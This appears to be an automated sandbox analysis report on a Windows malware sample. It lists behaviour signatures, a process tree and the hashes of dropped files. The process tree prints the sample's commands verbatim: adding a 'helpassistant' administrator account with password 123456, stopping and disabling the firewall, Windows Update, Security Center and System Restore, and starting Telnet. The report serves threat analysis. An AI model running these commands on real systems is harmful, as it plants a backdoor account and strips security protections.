Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/08/2026, 01:03

General

  • Target
    2026-08-21_dae1c38e6dc5b92f941934d30aa74b4d_amadey_cobalt-strike_elex_hijackloader_icedid_njrat_redl.exe
  • Size 10.4MB
  • Sample260822-bevmfszeme
  • SHA256 8f88377a9ae67b663b5520ac61cf7c8963e60e5adcedf8bf0c980b45a984ea53
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Drops file in Drivers directory 1 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-21_dae1c38e6dc5b92f941934d30aa74b4d_amadey_cobalt-strike_elex_hijackloader_icedid_njrat_redl.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-21_dae1c38e6dc5b92f941934d30aa74b4d_amadey_cobalt-strike_elex_hijackloader_icedid_njrat_redl.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:4420
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3136
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:2160
    • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-08-21_dae1c38e6dc5b92f941934d30aa74b4d_amadey_cobalt-strike_elex_hijackloader_icedid_njrat_redl~1.Doc" /o ""
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:3816
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5000
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1696
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5236
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1440
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3480
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4416
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4068
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4612
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4848
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5412
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2676
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4140
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4016
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4188
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4932
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4640
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1532
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3708
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4012
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4712
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2072
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4608
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4216

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          7z.exe

          • Path C:\Program Files\7-Zip\7z.exe
          • Size 11.0MB
          • SHA256 698ef9b0e5e26eeea79d1d9cb275d8f2cfac2b3d82cf413e74917c36ddc006d3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          7zFM.exe

          • Path C:\Program Files\7-Zip\7zFM.exe
          • Size 11.4MB
          • SHA256 b47f71194ce53d624712047a9761597763f5637f2fc4e7351c8d3fc962f6dcb7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          7zG.exe

          • Path C:\Program Files\7-Zip\7zG.exe
          • Size 11.1MB
          • SHA256 befcc5afdeb4836d3813f8ac21ebc0eb1e1bb35fc3a3fb6cb4c0606f095d8bd9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Uninstall.exe

          • Path C:\Program Files\7-Zip\Uninstall.exe
          • Size 10.5MB
          • SHA256 fd6188490641a352a63e6ac1da5a2e629f8a54b73be21b5e7ebf305fc8029383
          • MD5 SHA1 SHA512 SSDEEP TLSH

          chrmstp.exe

          • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
          • Size 16.5MB
          • SHA256 2eb68fd43a905ba577f445a06435f7f2822e4aa01ad2fe7e289a66b4033063ec
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.exe

          • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe
          • Size 16.5MB
          • SHA256 2327ae5dd66b52caba190c4ee920f91f5df4b85e8f2bbc41d3f9659a20ec0983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          chrome_pwa_launcher.exe

          • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
          • Size 12.2MB
          • SHA256 064debfb939df772840e5c806bdfd81d92b2f0206f7734732427d17bb2b934b3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          elevated_tracing_service.exe

          • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
          • Size 13.9MB
          • SHA256 4df2534fa5936f880708698b23bf87f559c0d2a944ba5eba79e01e4ab59b2e48
          • MD5 SHA1 SHA512 SSDEEP TLSH

          elevation_service.exe

          • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          • Size 12.7MB
          • SHA256 307080be6cf3f5bc9dd5028c2f61b03bf7bfbaefaddf6f7db1126359f46cd7bb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          notification_helper.exe

          • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
          • Size 12.1MB
          • SHA256 99cec4b4dd53eaca9264ec1ec34e00bf7177725e37bb33adc2a5eda578f10aa4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          os_update_handler.exe

          • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
          • Size 12.3MB
          • SHA256 e7c0d8d0816987a4367ca978e13a9c2d56024f76cf5b1f2f02d3e3a3fdcc2b42
          • MD5 SHA1 SHA512 SSDEEP TLSH

          chrome.exe

          • Path C:\Program Files\Google\Chrome\Application\chrome.exe
          • Size 13.5MB
          • SHA256 34eb5bbf2c01db13ab0a33f804cb79f408667034cf2c7dad0c5c6e50820a666e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          chrome_proxy.exe

          • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
          • Size 11.9MB
          • SHA256 8be24de2bf640dd0322dea1cf2ca5b1495f1943dbf02b5350963504dca620bf4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          appletviewer.exe

          • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
          • Size 10.5MB
          • SHA256 89d5bd574340f391d9b5f7bfd8c81a7ae8ef71e0957ca07f3837d9208ee693ee
          • MD5 SHA1 SHA512 SSDEEP TLSH

          extcheck.exe

          • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
          • Size 10.5MB
          • SHA256 727d2799dec5ca268ea0f3a2ed5566e05b70ed86b6b5c5aa054ac66a6d10f7cc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          idlj.exe

          • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
          • Size 10.5MB
          • SHA256 9d9b1f7ced38eda256addeafa1415222256b805192e28f66f22fd7731f71e368
          • MD5 SHA1 SHA512 SSDEEP TLSH

          jabswitch.exe

          • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
          • Size 10.5MB
          • SHA256 eece90a022ce33ccd30590ec96ee5ebfaf1a401c19ace65cbae2c54b778d5fb4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          jar.exe

          • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
          • Size 10.5MB
          • SHA256 191f42aff7a6db8f69dac742bbc46c20f899a824d141f22866e0aacaf0832f04
          • MD5 SHA1 SHA512 SSDEEP TLSH

          jarsigner.exe

          • Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
          • Size 10.5MB
          • SHA256 4e335105224c96a3062d8ada9bb01425420b7363b89ae0ead5c85d7b0c5e0626
          • MD5 SHA1 SHA512 SSDEEP TLSH

          dotnet.exe

          • Path C:\Program Files\dotnet\dotnet.exe
          • Size 10.6MB
          • SHA256 8e883cc19584b06e2418b2bd72eaa90c3c0b6167ad2d79094c5b37f44fe8b545
          • MD5 SHA1 SHA512 SSDEEP TLSH

          createdump.exe

          • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
          • Size 10.5MB
          • SHA256 3f6e373f92b88b81c9cd7ee1c931ffde2227146227253969f63c25e2d8461297
          • MD5 SHA1 SHA512 SSDEEP TLSH

          createdump.exe

          • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
          • Size 10.5MB
          • SHA256 36ab9945e7485a0174daec43c0b981a2f0dd4b841746dc6c0cc27f4f3bf0dd45
          • MD5 SHA1 SHA512 SSDEEP TLSH

          createdump.exe

          • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
          • Size 10.5MB
          • SHA256 e9ada131f46eed33944dffbc37d494df981b6fb24900bf4605925a6781823337
          • MD5 SHA1 SHA512 SSDEEP TLSH

          iso690.xsl

          • Path C:\Users\Admin\AppData\Local\Temp\TCD99FE.tmp\iso690.xsl
          • Size 263KB
          • SHA256 3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          2026-08-21_dae1c38e6dc5b92f941934d30aa74b4d_amadey_cobalt-strike_elex_hijackloader_icedid_njrat_redl~1.Doc

          • Path C:\Windows\SysWOW64\Drivers\2026-08-21_dae1c38e6dc5b92f941934d30aa74b4d_amadey_cobalt-strike_elex_hijackloader_icedid_njrat_redl~1.Doc
          • Size 5KB
          • SHA256 d4e7456cd53a1bcd276a4b40e58bf4027c9a2aa99822ec949ad94b01304e322a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Option.bat

          • Path C:\Windows\SysWOW64\Option.bat
          • Size 53B
          • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
          • MD5 SHA1 SHA512 TLSH

          UpdatAuto.exe

          • Path C:\Windows\SysWOW64\UpdatAuto.exe
          • Size 10.4MB
          • SHA256 cdc515d6c4159357522f43ff0aec5298b04b1d0dc4a40e10de8565d8700194e9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 eac7f3e21b72744d80fbc7da5fce92f31e03710dc56fb2c2e2b04a1c82f32812
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 8de4209cc3c6a555ccf8e39c8b36bcf6893f080e1fae3b47f3e79deabd7fe40e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 51d293226b7200b470ccc45d2227c53088f9cc3c1e9e7963068c26c9b466f153
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 285629c74be028c64a874ab8af0e8f9174f694e8064636f03fc15ac647dd1004
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 77ead3f9ea7e1b3b0bdb605c2debb76fc49317734338fd2af408f55eeec6c03d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 703697ba6dcaed06a3934ab61f5262abceb7a55bbc986e87f960626decbc59dd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 f0ccff74a3acf6b26420a67f7f76c5d8e9931b02295e9e71842c849292a70a33
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 31197099aafc12d3da0180fc9f6ac28f284d39b9ca5029bea5159f44ff2862c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntldr~6

          • Path \??\c:\ntldr~6
          • Size 10.4MB
          • SHA256 89d30746b469b9139b9e90166555f82f6c9a37701ef3778c07a8defb3d34f3e9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3816-38-0x00007FFC5C020000-0x00007FFC5C030000-memory.dmp

          memory/3816-37-0x00007FFC5C020000-0x00007FFC5C030000-memory.dmp

          memory/3816-36-0x00007FFC5C020000-0x00007FFC5C030000-memory.dmp

          memory/3816-35-0x00007FFC5C020000-0x00007FFC5C030000-memory.dmp

          memory/3816-39-0x00007FFC5C020000-0x00007FFC5C030000-memory.dmp

          memory/3816-40-0x00007FFC59960000-0x00007FFC59970000-memory.dmp

          memory/3816-41-0x00007FFC59960000-0x00007FFC59970000-memory.dmp